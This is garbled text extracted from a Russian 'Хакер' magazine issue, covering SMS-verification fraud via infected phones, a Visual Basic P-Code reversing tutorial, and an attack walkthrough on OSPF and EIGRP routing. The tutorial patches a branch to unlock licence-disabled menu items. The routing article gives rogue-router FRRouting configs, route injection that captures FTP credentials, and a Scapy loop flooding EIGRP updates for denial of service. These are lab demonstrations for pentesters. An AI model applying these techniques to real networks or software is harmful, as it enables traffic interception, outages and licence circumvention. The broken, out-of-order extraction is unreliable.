эта пе залив ки про шив ки китай ски ми ком пани ями. Как пра вило, это куп ленные
на мар кет плей сах недоро гие смар тфо ны ниж него и сред него ценово го сег- 
мента про изводс тва мало извес тных фирм. Вот, нап ример, количес тво дос- 
тупных телефон ных номеров в одном из сер висов SMS PVA с рас пре деле- 
нием по геог рафичес кому приз наку.

Чис ло дос тупных телефон ных номеров в сер висе SMS PVA с рас пре -
деле нием по стра нам, декабрь 2021 года

Как видим, здесь при сутс тву ют самые раз ные по уров ню дос татка стра ны —
от Индо незии и ЮАР до Рос сии и даже США.

Спе циалис ты Trend Micro выяс нили, на каких сер висах чаще все го регис- 
три руют ся прот роянен ные мобиль ные телефо ны через .smspva.net

Сер висы и при ложе ния, на которые под писаны заражен ные мобиль ные
телефо ны

На пер вом мес те мес сен дже ры LINE, WeChat и WhatsApp. Чуть усту пают им
по популяр ности TikTok и пла теж ная сис тема PayPal. Сре ди соци аль ных сетей
замече ны так же Twitter и Facebook, сре ди пла теж ных инс тру мен тов — Alipay
и MoneyLion. Ско рее все го, фей ковые регис тра ции в мес сен дже рах исполь- 
зуют ся для рас сылки спа ма и мошен ничес тва, а акка унты в соц сетях —
для нак рутки фол ловеров и лай ков.

ÂÛÂÎÄÛ

Вы воды неуте шитель ные: SMS-регис тра ция с исполь зовани ем одно разо вых
кодов, похоже, изжи ла свое и уже не может счи тать ся дей ствен ным средс- 
твом защиты от соз дания под дель ных акка унтов. Тем не менее этот метод
до сих пор оста ется одним из самых рас простра нен ных механиз мов авто- 
риза ции. Он широко при меня ется мно жес твом сер висов, которые в ито ге
стра дают от нап лыва ботов.

Что же каса ется основно го источни ка проб лемы — заражен ных телефо- 
нов, то тут единс твен ный дей ствен ный метод защиты — воз держать ся
от покуп ки дешевых устрой ств, про изве ден ных неиз вес тно где и неиз вес тно
кем.

WWW

Пол ный текст иссле дова ния будет опуб ликован
на  15 фев раля.
Редак ция жур нала «Хакер» искрен не бла года рит
ком панию Trend Micro за помощь в под готов ке
это го матери ала.
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ПРЕПАРИРУЕМ
P-CODE

КАК РЕВЕРСИТЬ СТАРЫЙ СОФТ
НА VISUAL BASIC

МВК

ВЗЛОМ

Что бы нем ного раз нооб разить свою жизнь, сегод ня мы сно- 
ва зай мем ся раз боркой антиква риата. Мно гие уже забыли
о сущес тво вании такого инс тру мен та, как дав но похоро нен- 
ный P-Code, в который тран сли рова лись прог раммы
на Visual Basic. Тем не менее соз данные с его помощью при- 
ложе ния до сих пор сущес тву ют, и сегод ня мы с тобой акку- 
рат но сло маем одно из них.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

К сожале нию (или счастью?), Microsoft поэтап но похоро нила P-Code, спер ва
перей дя на ком пиляцию пи-кода в натив, от чего, на мой взгляд, он стал силь- 
но более неук люжим, а затем и вов се пол ностью переве ла VB на плат форму
.NET. Тем не менее из-за сво ей прос тоты и популяр ности в былые вре мена
соз данные на P-Code про екты весь ма мно гочис ленны и про дол жают
работать по сей день.

Что бы ты не испу гал ся, если вдруг в твои руки попадет подоб ный раритет,
знал, что с ним делать и с какой сто роны к нему подой ти, рас смот рим спе- 
цифи ку и внут реннее устрой ство P-Code на при мере доработ ки неболь шой
гра фичес кой прог раммы. Усло вия задачи таковы: у нас есть соф тина,
в текущей пос тавке которой отклю чены некото рые полез ные фун кции (нет
свя зан ных с ними пун ктов меню). Но сама чер ная кош ка в тем ной ком нате
при сутс тву ет, то есть в модуле име ются и нуж ные нам пун кты меню, и код
отве чающих за них фун кций. Прос то они невиди мы для нашей лицен зии,
и открыть их — наша задача.

Для начала опре деля ем тип прог раммы и ее защиту при помощи
DetectItEasy.

DIE опре делил ком пилятор прог раммы как Microsoft Visual Basic 6.0

По пыт ка заг рузить иссле дуемую прог рамму в IDA, к сожале нию, не при нес ла
никако го полез ного резуль тата.

IDA счи тает, что натив ный код отсутс тву ет или зашиф рован

Нас тало вре мя для нашего любимо го отладчи ка x64dbg. Нем ного повозив- 
шись в нем, обна ружи ваем, что основной код кру тит ся внут ри модуля

.msvbvm60.dll

Прог рамма в отладчи ке

На лицо клас сичес кая вир туаль ная машина. В ней интер пре тиру ется поток
дан ных, текущий ука затель коман ды находит ся в регис тре . Из потока

выбира ется байт кода опе рации, и по его индексу из таб лицы адре сов обра- 
бот чиков (  в дам пе) выбира ется адрес обра бот чика сле дующей

коман ды, на которую дела ется переход. По счастью, это не злоб ный про тек- 
тор типа Enigma или Themida, никаких обфуска торов и анти отладчи ков в коде
нет. Более того, нам даже не тре бует ся изоб ретать велоси пед, раз бирая вир- 
туаль ную машину самос тоятель но — за вре мя сущес тво вания VB за нас
это сде лали дру гие доб рые люди.

esi

6909AA24

Итак, мы наконец вплот ную подош ли к понятию P-Code. Этот тер мин был
при думан еще пол века назад одним из осно вопо лож ников сов ремен ного
прог рамми рова ния Ник лаусом Вир том для любого аппа рат но-незави симо го
псев докода вир туаль ной машины. Одна ко с лег кой руки Microsoft при жилось
оно при мени тель но к теперь уже мер тво му байт-коду Visual Basic, пре иму- 
щес твен но 6-й вер сии.

Схе ма фун кци они рова ния P-Code пре дель но прос та и вид на на скрин- 
шоте выше. Из стран ных осо бен ностей мож но отме тить наличие целых шес ти
таб лиц обра бот чиков байт-кодов. Это зна чит, что не все опко ды псев- 
докоманд одно бай товые, каж дый из пос ледних пяти опко дов глав ной таб лицы
( ) — «сос тавной» двух бай товый. То есть обра бот чик каж дого из этих

кодов счи тыва ет сле дующий байт и переда ет управле ние по его индексу
на обра бот чик из дру гой таб лицы адре сов, в которой тоже содер- 
жится 256 воз можных зна чений. Непонят но, зачем исполь зует ся такой хит рый
спо соб, а глав ное — для чего пре дус мотрен такой запас опко дов, ведь
из 1531 воз можно го задей ство вано все го 822, при чем некото рые дуб лиру ют
друг дру га.

FB-FF

Я не буду при водить здесь пол ную таб лицу опко дов P-Code, жела ющие
могут най ти ее  или даже в более информа тив ном виде в 

. Там же при водят ся аргу мен ты и при- 
мер ный смысл каж дого опко да.

на сай те DotFix ис- 
ходни ках про екта Semi-VB-Decompiler

Во ору жив шись дан ной информа цией, гораз до про дук тивнее раз бирать
и отла живать прог рамму даже в x64dbg. Одна ко сущес тву ют и еще более
прод винутые инс тру мен ты для отладки и деком пиляции пи-кода. Два из них ты
уже, навер ное, уви дел по при веден ным выше ссыл кам: сво бод ный деком- 
пилятор  и ком мерчес кий . Еще один
незаме нимый инс тру мент для работы с пи-кодом — сво бод ный 

.

Semi-VB-Decompiler VB Decompiler
ди зас сем- 

блер-отладчик VBDec
На до ска зать, что эти про екты весь ма сырые и име ют мас су недоче тов (к

при меру, Semi-VB-Decompiler у меня вооб ще не деком пилиро вал ни одно го
фай ла и не смог най ти валид ную сиг натуру), но их воз можнос ти допол няют
друг дру га. К при меру, VB Decompiler уме ет с более-менее перемен ным
успе хом не толь ко дизас сем бли ровать, но и вос ста нав ливать VB-код. При чем
не толь ко из P-Code, но и из ском пилиро ван ного из него натива, и даже
из .NET. А хоть VBDec это го и не уме ет, зато его дизас сем блер на нес коль ко
поряд ков более пря мой и без глюч ный, а глав ное, у него есть пол нофун кци- 
ональ ный дебаг гер с воз можностью трас сиров ки P-Code.

Вер немся к нашей задаче и поп робу ем решить ее уже с помощью этих
чудес ных инс тру мен тов. Для начала откры ваем иссле дуемую прог рамму в VB
Decompiler и ищем глав ное окно. В VB Decompiler для это го име ется инс тру- 
мент Tools-Search string (он, прав да, вре мена ми под глю чива ет, но потер петь
мож но). Хоть прог рамма и обфусци рова на, но мы находим и глав ное окно
MDIForm1, и пер вый пункт меню из скры тых из-за отсутс твия лицен зии.

Фор ма основно го окна, вид из VB Decompiler

Те перь, ког да нам извес тно имя иден тифика тора нуж ного пун кта меню, мы
можем при помощи того же инс тру мен та (поиск строк) поис кать его уже
по коду. Очень быс тро мы обна ружи ваем его упо мина ние в нуж ном нам кон- 
тек сте:

loc_930D48:   var_19C(&HFF).Visible = var_1BC 
loc_930D50:   GoTo loc_930D97 
loc_930D53: End If 
loc_930D63: var_D0(&HFF).Visible = MemVar_1619316 
loc_930D79: var_15C(&HFF).Visible = var_B0 
loc_930D8F: var_C0(&HFF).Visible = var_16C 
loc_930D97: ' Referenced from: 930D50 
loc_930DA9: If (MemVar_161C794(&HCA) = "1") Then 
loc_930DBA:   xy0000.Visible = var_E0     <------------------------- 
loc_930DC2:   GoTo loc_930DDD 
loc_930DC5: End If 
loc_930DD5: xy0000.Visible = var_19C      <------------------------- 
loc_930DDD: ' Referenced from: 930DC2 
loc_930DEF: If (MemVar_161C794(&HAA) = "1") Then 
loc_930E00:   var_D0(&HFF).Visible = MemVar_16182F8 
loc_930E08:   GoTo loc_930E23 
loc_930E0B: End If 

На до ска зать, код из-за обфуска ции получа ется доволь но-таки безум ный,
поэто му нашему деком пилято ру сры вает кры шу. Что бы про яснить ситу ацию,
откры ваем зак ладку Disassembler (при этом, к нашей великой досаде, сби- 
вает ся текущее сме щение в фай ле, и при ходит ся его заново искать в про- 
цеду ре). Логика ста новит ся чуть яснее:

loc_930D9B: F5CA000000            LitI4 &HCA 
loc_930DA0: 051100                ImpAdLdRf MemVar_161C794 
loc_930DA3: 9E                    Ary1LdI4                     <
-------------- MemVar_161C794(&HCA) 
loc_930DA4: 1B6B00                LitStr "1" 
loc_930DA7: FB30                  EqStr 
loc_930DA9: 1C3D1A                BranchF loc_930DC5           <
----- Если не равно 1, то переход на 930DC5 
loc_930DAE: F4FF                  LitI2_Byte &HFF              <
----- FF = True 
loc_930DB0: 21                    FLdPrThis 
loc_930DB1: 0F0004                VCallAd Control_ID_ 
loc_930DB4: 1978FF                FStAdFunc var_88 
loc_930DB7: 0878FF                FLdPr var_88 
loc_930DBA: 0D5C008B00            Me.Visible =                 <
----- xy0000.Visible = True 
loc_930DBF: 1A78FF                FFree1Ad var_88 
loc_930DC2: 1E551A                Branch loc_930DDD 
loc_930DC5: End If 
loc_930DC9: F4FF                  LitI2_Byte &H00              <
----- 00 = False 
loc_930DCB: 21                    FLdPrThis 
loc_930DCC: 0F0004                VCallAd Control_ID_ 
loc_930DCF: 1978FF                FStAdFunc var_88 
loc_930DD2: 0878FF                FLdPr var_88 
loc_930DD5: 0D5C008B00            Me.Visible =                 <
----- xy0000.Visible = False 
loc_930DDA: 1A78FF                FFree1Ad var_88 

Во обще говоря, если вни матель но прис мотреть ся, мы уви дим, что даже
в дизас сем бли рова нии этот деком пилятор слег ка лажа ет. К при меру, замет- 
но, что по сме щению  он сож рал целых 4 бай та кода. Воз можно,

это мне попада лись глюч ные вер сии (я про верял все го пару штук), но с VB
Decompiler нуж но дер жать ухо вос тро: такие мел кие баги попада ются на каж- 
дом шагу и силь но раз дра жают. Дру гой деком пилятор, VBDec, с дизас сем- 
бли рова нием справ ляет ся гораз до луч ше. Но в нем нет вос ста нов ления
исходно го кода, ибо нет в мире совер шенс тва. Вот тот же учас ток кода, вос- 
ста нов ленный через VDec: явно вид но, что VB Decompiler наг ло халявит, про- 
пус кая все инс трук ции  ( ).

930DC5

BoS LargeBos

930D9B    F5 CA000000           LitI4 0xCA 
930DA0    05 1100               ImpAdLdRf unk_161C794 
930DA3    9E                    Ary1LdI4 
930DA4    1B 6B00               LitStr str_4CC410='1' 
930DA7    FB30                  EqStr 
930DA9    1C 3D1A               BranchF loc_930DC5 
930DAC    00 16                 BoS loc_930DC2 
930DAE    F4 FF                 LitI2_Byte 255 
930DB0    21                    FLdPrThis 
930DB1    0F 0004               VCallAd aym00000.xy0000 
930DB4    19 78FF               FStAdFunc var_88 
930DB7    08 78FF               FLdPr var_88 
930DBA    0D 5C008B00           VCallHresult _Menu Let Visible 
930DBF    1A 78FF               FFree1Ad var_88 
930DC2    1E 551A               Branch loc_930DDD 
930DC5    00 02                 BoS loc_930DC7 
930DC7    00 16                 BoS loc_930DDD 
930DC9    F4 FF                 LitI2_Byte 0 
930DCB    21                    FLdPrThis 
930DCC    0F 0004               VCallAd aym00000.xy0000 
930DCF    19 78FF               FStAdFunc var_88 
930DD2    08 78FF               FLdPr var_88 
930DD5    0D 5C008B00           VCallHresult _Menu Let Visible 
930DDA    1A 78FF               FFree1Ad var_88 

Итак, мы наш ли иско мое мес то в коде, теперь его неп лохо бы про пат чить.
Здесь у нас име ется два пути: либо поп равить на  аргу мент коман ды

 по адре су , дабы пункт меню оста вал ся видимым
при любом резуль тате про вер ки, либо убрать саму про вер ку. К нашему ужа су,
и здесь мы ока зыва емся в боль шой беде: у пи-кода вне зап но нет одно бай- 
товой коман ды , которой мы при вык ли забивать уби раемый код в дру гих

сис темах. При дет ся вык ручивать ся околь ными путями, отдель ные из которых
могут быть весь ма ори гиналь ными. К при меру, David Zimmer пред лага ет
самому сконс тру иро вать  из коман ды  (опкод 1), заменив

ее обра бот чик в таб лице чуть модифи циро ван ным адре сом обра бот чика
:

True
LitI2_Byte 930DC9

NOP

NOP InvalidExcode

StAry

call    ___vbaAryMove@8  ; Оригинальный обработчик StAry 
xor     eax, eax         ; Новый адрес обработчика для псевдокоманды 
InvalidExcode, который превращает ее в NOP 
mov     al, [esi] 
inc     esi 
jmp     ds:_tblByteDisp[eax*4] 

К сло ву ска зать, отладчик VBDec исполь зует имен но такой метод для заноп- 
ливания кода, называя новую инс трук цию .vbDecNop

При всей сво ей ори гиналь нос ти опи сан ный выше спо соб пред полага ет
пат чинг сис темной биб лиоте ки , что край не нежела тель но

делать ради такой мелочи, как соз дание одно бай тового . По счастью,

одно бай товый  и не тре бует ся, ведь сущес тву ет двух бай товый  —
это псев докоман да  (код ). B качес тве же трех бай тового  мож- 

но исполь зовать коман ду безус ловно го перехо да  ( , где

 — сме щение до сле дующей инс трук ции отно ситель но начала текущей
фун кции).

msvbvm60.dll
NOP

NOP NOP
CI2UI1 FC14 NOP

Branch 1EXXXX
XXXX

В нашем слу чае дос таточ но поп равить сме щение условно го перехо да
по адре су . Еще одна весь ма спе цифич ная осо бен ность пи-кода —
отсчет сме щений в псев докоман дах перехо да отно ситель но не текуще го
адре са псев докоман ды, а, как я уже говорил, начала текущей фун кции.
В нашем при мере  — начало про цеду ры, аргу мент псев докоман ды

. В ито ге мы получим адрес перехо да ,
нам же нужен адрес сле дующей за  коман ды : 

.

930DA9

92F389
BranchF 1A3D 92F388+1A3D=930DС5

BranchF 930DAC 930DAC-
92F388=1A24

Для пат ча мож но исполь зовать обыч ный hiew, в нем есть воз можность ука- 
зывать не толь ко сме щение в фай ле, но и вир туаль ный адрес бай та при заг- 
рузке в память (у нас ука заны имен но они). Меня ем байт  по адре су 

на  и убеж даем ся, что иско мый пункт меню теперь виден и даже акти вен.
Таким же спо собом находим и меня ем код для осталь ных пун ктов — задача
решена.

3D 930DAA
24

Как ты уже понял, за свою дол гую исто рию VB и его пи-код очень неп лохо
иссле дован. Для его ковыря ния соз дано мно жес тво раз ных инс тру мен тов.
Поэто му в зак лючение я хочу упо мянуть об одном из них, который, как мне
кажет ся, наибо лее вос тре бован.

Час тень ко слу чает ся, что надо поменять в прог рамме тек сто вую стро ку
или под пра вить эле мент интерфей са. Хорошо, если стро ки или опи сания эле- 
мен тов содер жатся в стан дар тных ресур сах Windows, для которых сущес тву ет
мно жес тво редак торов. Одна ко в EXE-фай ле, ском пилиро ван ном из VB, сре- 
ди обыч ных ресур сов име ется толь ко икон ка и вер сия. Собс твен ные же
ресур сы VB име ют свою спе цифи ку и отоб ража ются толь ко в опи сан ных выше
деком пилято рах-дизас сем бле рах. Если же тебе надо что-либо в них под пра- 
вить и неохо та возить ся с под гонкой строк в hiew/winhex, то на помощь при- 
дет ути лита VBLocalize. Хотя она доволь но ста рая, но при желании ее впол не
мож но най ти на прос торах интерне та и исполь зовать для прав ки отдель ных
строк или даже для пол ного перево да интерфей са прог раммы, если, конеч но,
на это хва тит тво его энту зиаз ма.

https://www.dotfix.net/doc/vb_pcode_table.htm
https://github.com/VBGAMER45/Semi-VB-Decompiler/blob/master/Semi%20VB%20Decompiler/modPCode.bas#L653
https://github.com/VBGAMER45/Semi-VB-Decompiler
https://www.dotfix.net/
http://sandsprite.com/vbdec/
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ВЗЛОМ

Вол шебс тво и оча рова ние про токо лов динами чес кой мар- 
шру тиза ции быва ет обманчи вым — адми нис тра торы им
доверя ются и могут забыть о нас трой ке защит ных средств.
В этой статье я рас ска жу, какие кош мары могут воз никнуть
в сети, если админ не позабо тил ся о безопас ности доменов
роутин га OSPF и EIGRP.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Ди нами чес кая мар шру тиза ция при меня ется в каж дой круп ной кор поратив ной
сети. Роуте ры в сети обме нива ются мар шрут ной информа цией друг с дру гом
авто мати чес ки, что бы адми нис тра тор сети не обхо дил их и не про писы вал
мар шру ты вруч ную. В боль шинс тве слу чаев он не тро гает и нас трой ки защит- 
ных механиз мов. И это откры вает дорогу для экс плу ата ции.

INFO

Имей в виду, что про токо лы OSPF и EIGRP отно- 
сят ся к клас су про токо лов внут ридомен ной
динами чес кой мар шру тиза ции (IGP). То есть эти
про токо лы исполь зуют ся для переда чи мар шрут- 
ной информа ции в пре делах одной авто ном ной
сис темы (AS). Для удобс тва можешь пред став- 
лять ее себе как сеть некото рой орга низа ции.

ÏÐÎÁËÅÌÀÒÈÊÀ, ÈÌÏÀÊÒ È ÂÎÎÐÓÆÅÍÈÅ

Ïðîòîêîë OSPF

OSPF (Open Shortest Path First) отно сит ся к типу про токо лов, осно ван ных
на отсле жива нии сос тояния канала. Ата ковать OSPF нем ного слож нее, чем
его родс твен ника EIGRP. Помешать это му могут две вещи:

на личие нес коль ких зон OSPF. Инже неры могут спро екти ровать домен
мар шру тиза ции OSPF с нес коль кими зонами, что бы умень шить наг рузку
на вычис литель ные ресур сы мар шру тиза торов. Необ ходимо учи тывать
это в домене мар шру тиза ции OSPF, как и воз можность про хож дения
пакетов меж ду эти ми зонами. Нап ример, если ты собира ешь ся выпол нять
инъ екции мар шру тов;

•

от сутс твие реак ции на зап росы. Для под клю чения к домену мар шру тиза- 
ции необ ходимо, что бы лож ный мар шру тиза тор генери ровал и при нимал
сооб щения  от соседей и вос про изво дил уста нов ление соседс тва
с ними. Ина че лож ный роутер будет приз нан «мер твым» и выпадет
из домена мар шру тиза ции, делая невоз можны ми даль нейшие шаги
со сто роны ата кующе го.

•

Hello

Ус танов ление соседс тва OSPF

Оп тималь ный вари ант для ата ки на домен OSPF — это получе ние кон тро ля
над легитим ным мар шру тиза тором в сети. Как вари ант мож но на сво ей сто- 
роне соз дать «злой» вир туаль ный роутер и под клю чать ся к домену. Одна ко,
что бы под клю чить ся к домену мар шру тиза ции, ата кующий дол жен про вес ти
ана лиз муль тикас товых пакетов OSPF и изу чить сле дующие парамет ры
в пакете:

OSPF Hello Interval;•
OSPF Dead Interval;•
на личие аутен тифика ции.•

Да же нес мотря на то, что OSPF может быть защищен с помощью аутен- 
тифика ции и пароли хра нят ся в виде хешей MD5, у ата кующе го оста ется шанс
подоб рать их.

Взло ман ный пароль от домена OSPF с помощью инс тру мен та Loki

Ïðîòîêîë EIGRP

EIGRP (Enhanced Interior Gateway Routing Protocol) отно сит ся к клас су дис- 
танци онно-век торных про токо лов. Он был раз работан инже нера ми Cisco
Systems в качес тве замены про токо ла IGRP. Мар шру тиза торы EIGRP обме- 
нива ются мар шрут ной информа цией, исполь зуя алго ритм диф фузно го
обновле ния (DUAL) для рас чета мар шру тов в рам ках одной AS. EIGRP хра нит
в таб лице мар шру тиза ции все дос тупные резер вные мар шру ты к сетям наз- 
начения, что поз воля ет в край нем слу чае быс тро перек лючить ся на запас ной
мар шрут.

Ус танов ление соседс тва EIGRP

INFO

Зна ешь ли ты, что про токол EIGRP боль ше
не проп риетар ный про токол Cisco и теперь
открыт для дру гих вен доров сетево го обо рудо- 
вания? EIGRP стал откры тым стан дартом
в 2013 году, а информа цион ный документ 

 был опуб ликован в 2016 году.
RFC

7868

Что бы зло умыш ленник смог под клю чить ся к домену мар шру тиза ции EIGRP, он
дол жен знать номер авто ном ной сис темы. Узнать его он может, нап ример,
из дам па тра фика в Wireshark. В отли чие от домена OSPF, который может
быть раз делен на нес коль ко зон мар шру тиза ции, авто ном ная сис тема EIGRP
плос кая, то есть, если ты про ведешь инъ екцию мар шру та, ско рее все го, твой
мар шрут рас простра нит ся по все му домену.

Èìïàêò

Ата ки на динами чес кую мар шру тиза цию мож но раз бить на три типа:
1.  Если зло умыш ленник под клю чит ся к домену мар- 

шру тиза ции, то он смо жет про вес ти сетевую раз ведку и обна ружить
некото рые под сети. Это дос таточ но полез ный трюк, пос коль ку клас сичес- 
кое ска ниро вание, нап ример с исполь зовани ем того же , идет дол- 
го. Не говоря уже о том, что могут сра ботать сис темы безопас ности
IDS/IPS. Прос то при соеди нив шись к домену мар шру тиза ции, мы смо жем
получить информа цию о под сетях, анон сиру емых сосед ски ми мар шру- 
тиза тора ми. Заметь, этот спо соб вов се не гаран тиру ет того, что ты смо- 
жешь обна ружить все под сети в орга низа ции. Но может при вес ти тебя
к более лег кой победе во вре мя пен теста.

Ïå ðå÷èñ ëåíèå ñåòè.

Nmap

2.  Суть этой ата ки зак люча ется в инъ екции

мар шру та, что бы затем перех ватить тра фик с целево го хос та или же сети.
Пос ле под клю чения к домену мар шру тиза ции ты можешь в домене сде- 
лать анонс, который бук валь но выг лядит так: «Ува жаемые, хост под IP-
адре сом 192.168.1.43/24 теперь дос тупен через меня, 192.168.1.150».
Мар шру тиза торы в домене при мут новую информа цию и помес тят анон- 
сирован ный тобой мар шрут в таб лицу мар шру тиза ции. Сто ит толь ко учи- 
тывать, что в кон тек сте мар шру тиза ции есть понятие мет рики. Если твой
мар шрут по цене пути будет хуже, чем осталь ные, то он не попадет в таб- 
лицу мар шру тиза ции. Почему? Потому что в таб лице мар шру тиза ции хра- 
нят ся толь ко луч шие пути до сетей наз начения.

MITM (man in the middle).

3.  Перепол нение таб лицы мар шру тиза ции.

При этом у роуте ра исто щают ся все ресур сы цен траль ного про цес сора
и опе ратив ной памяти. При перепол нении таб лицы мар шру тиза ции
добавить новый легитим ный мар шрут ста нет невоз можно. Мар шру тиза тор
не смо жет добавить к себе мар шрут новой появив шей ся сети.

DoS (Denial of Service).

Âîîðóæåíèå ñ FRRouting

 — это опен сор сное решение, пред назна чен ное для соз дания вир- 
туаль ного мар шру тиза тора в Unix/Linux. FRRouting поз воля ет реали зовать
вир туаль ный мар шру тиза тор, под держи вающий про токо лы BGP, OSPF, EIGRP,
RIP и дру гие.

FRRouting

С помощью FRRouting мы смо жем под нять на сво ей сто роне «злой» мар- 
шру тиза тор, запус тить роутинг и под клю чить ся к целево му домену мар шру- 
тиза ции. Зачем это нуж но? Нап ример, если мы про ведем ту же инъ екцию
мар шру тов без под клю чения к домену и уста нов ления соседс тва, то анон- 
сиру емые нами мар шру ты не попадут в таб лицу мар шру тиза ции соседей. Они
прос то уле тят в никуда.

WWW

У FRRouting есть отличная  по уста- 
нов ке и нас трой ке. Советую озна комить ся.

до кумен тация

Íàñòðîéêà FRRouting

Для начала нам нуж но акти виро вать работу демонов в кон фигура цион ном
фай ле . Нас инте ресу ют демоны  и . Так же необ ходимо

акти виро вать работу демона , что бы редис три буция нас тра иваемых

ста тичес ких мар шру тов работа ла кор рек тно.

daemons ospfd eigrpd
staticd

nano /etc/frr/daemons 

=ospfd yes
=eigrpd yes
=staticd yes

Да лее нуж но наз начить пароль для под клю чения к панели управле ния мар- 
шру тиза тором через линии VTY:

nano /etc/frr/frr.conf 

 password letm3in

Так же необ ходимо раз решить фор вардинг тра фика. По умол чанию в дис три- 
бути вах Linux он отклю чен.

1 sudo sysctl -w net.ipv4.ip_forward=

За пус каем демон .frr

systemctl start frr 

Сос тояние демона FRRouting

С помощью коман ды  попада ем в панель управле ния вир туаль ным мар- 

шру тиза тором .

vtysh
FRRouting

Вход в панель управле ния

ÂÈÐÒÓÀËÜÍÀß ËÀÁÎÐÀÒÎÐÈß

В качес тве сетево го полиго на для прак тичес кого раз бора атак выс тупят сети,
изоб ражен ные на схе мах ниже.

Сеть с исполь зовани ем OSPF

Сеть с исполь зовани ем EIGRP

IP-адре сация полиго на

В кон тек сте ата ки на OSPF я рас смот рю инъ екцию мар шру та с перех ватом
тра фика. Что каса ется EIGRP — раз берем раз рушитель ную ата ку с перепол- 
нени ем таб лицы мар шру тиза ции (что бы не демонс три ровать одну и ту же ата- 
ку и рас смот реть два вари анта нападе ния). OSPF мож но ата ковать так же,
как и EIGRP. Одна ко сто ит учи тывать, что раз рушитель ные ата ки в про дак шене
менее прак тичны. Думаю, такой сце нарий будет полезен для Red Team
в качес тве отвле кающе го манев ра.

Продолжение статьи →

mailto:c0ldheim@protonmail.com
https://tools.ietf.org/html/rfc7868
https://frrouting.org/
https://frrouting.org/doc/
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÈÍÚÅÊÖÈß ÌÀÐØÐÓÒÎÂ È ÏÅÐÅÕÂÀÒ ÒÐÀÔÈÊÀ Â ÄÎÌÅÍÅ OSPF

Для успешно го про веде ния инъ екции мар шру та нам необ ходимо под клю чить- 
ся к домену мар шру тиза ции OSPF и объ явить сеть. Ука зыва ем нулевую зону
(area 0).

c0ldheim@kali:~$ sudo vtysh 
kali# conf t 
kali(config)# router ospf
kali(config-router)# network 172.20.20.50/32 area 0.0.0.0

Дамп тра фика пос ле под клю чения к домену OSPF

Вклю чаем редис три буцию ста тичес ких мар шру тов с наимень шей мет рикой,
что бы у внед ренно го мар шру та была самая низ кая сто имость.

kali(config-router)# redistribute static metric 0

Анон сиру ем в домене OSPF ста тичес кий мар шрут. «Хост под IP-адре- 
сом 172.20.20.20 теперь дос тупен через меня — 172.20.20.50».

kali(config)# ip route 172.20.20.20/32 eth0

Дамп тра фика пос ле инъ екции в домене OSPF

Про верим таб лицу мар шру тиза ции на роуте ре R2.

 

 

 

 

 

 
 
 

 
 

 
 

 

R2#show ip route
Codes: L - local, C - connected, S - static, R - RIP, M - mobile, B - 
BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
E1 - OSPF external type 1, E2 - OSPF external type 2
i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
ia - IS-IS inter area, * - candidate default, U - per-user static route
o - ODR, P - periodic downloaded static route, H - NHRP, l - LISP
a - application route
+ - replicated route, % - next hop override, p - overrides from PfR

Gateway of last resort is not set

 
 
 

 
 

 
 

 

10.0.0.0/8 is variably subnetted, 2 subnets, 2 masks
C        10.1.1.0/24 is directly connected, GigabitEthernet0/0
L        10.1.1.2/32 is directly connected, GigabitEthernet0/0
172.20.0.0/16 is variably subnetted, 4 subnets, 2 masks
C        172.20.20.0/24 is directly connected, GigabitEthernet0/2
O E2     172.20.20.20/32
[110/0] via 172.20.20.50, 00:02:27, GigabitEthernet0/2
L        172.20.20.254/32 is directly connected, GigabitEthernet0/2
O        172.20.30.0/24 [110/2] via 10.1.1.3, 01:08:17, 
GigabitEthernet0/0
R2#

Как видим, инъ екция мар шру та прош ла успешно. Теперь мар шру тиза тор
R2 счи тает, что хост по адре су 172.20.20.20 дос тупен через нашу ата кующую
машину.

Даль ше поп робу ем с хос та DevOps под клю чить ся к сер веру FTP по адре- 
су 172.20.30.100.

Под клю чение к FTP

В ито ге мы смог ли вкли нить ся меж ду хос том и сер вером FTP и перех ватить
незашиф рован ные учет ные дан ные.

Дамп незашиф рован ного FTP-тра фика

ÈÍÚÅÊÖÈß ÌÀÐØÐÓÒÎÂ È ÏÅÐÅÏÎËÍÅÍÈÅ ÒÀÁËÈÖÛ

ÌÀÐØÐÓÒÈÇÀÖÈÈ Â ÄÎÌÅÍÅ EIGRP

Для начала нуж но под клю чить ся к авто ном ной сис теме EIGRP и объ явить
сеть.

c0ldheim@kali:~$ sudo vtysh 
kali# conf t 
kali(config)# router eigrp 1
kali(config-router)# network 172.20.20.50/32

Дамп тра фика пос ле под клю чения к домену EIGRP

В этот раз для инъ екции мар шру тов EIGRP я буду исполь зовать сетевую биб- 
лиоте ку Scapy.

c0ldheim@kali:~$ sudo scapy3 
   >>> from scapy.contrib.eigrp import * # Импорт модуля для работы с 

заголовками протокола EIGRP
  >>> frame = Ether(dst="01:00:5e:00:00:0a") # Сборка кадра Ethernet 

с MAC-адресом назначения мультикастовой рассылки
 ip  IP ,    >>> = (src="172.20.20.50" dst="224.0.0.10") # Сборка 

IP-пакета с IP-адресом назначения мультикастовой рассылки EIGRP
1, 1, 0, 0, 
,  

>>> eigrp = EIGRP(opcode= asn= seq= ack= tlvlist=[
EIGRPExtRoute(dst=RandIP() nexthop="172.20.20.50")]) # Сборка 
пакета EIGRP с опцией Update
>>> crafted = frame/ip/eigrp  # Сборка трех слоев воедино

1,   >>> sendp(crafted, loop= iface="eth0") # Зациклить бесконечную 
отправку собранного вредоносного пакета EIGRP

Дамп тра фика пос ле инъ екции в домене EIGRP

Ес ли мы вой дем в панель управле ния мар шру тиза тора, то уви дим, что наг- 
рузка на цен траль ный про цес сор зна читель но под нялась — до 87%.

Наг рузка ЦП в момент перепол нения

Таб лица мар шру тиза ции пос ле перепол нения

 

 

 
 

 
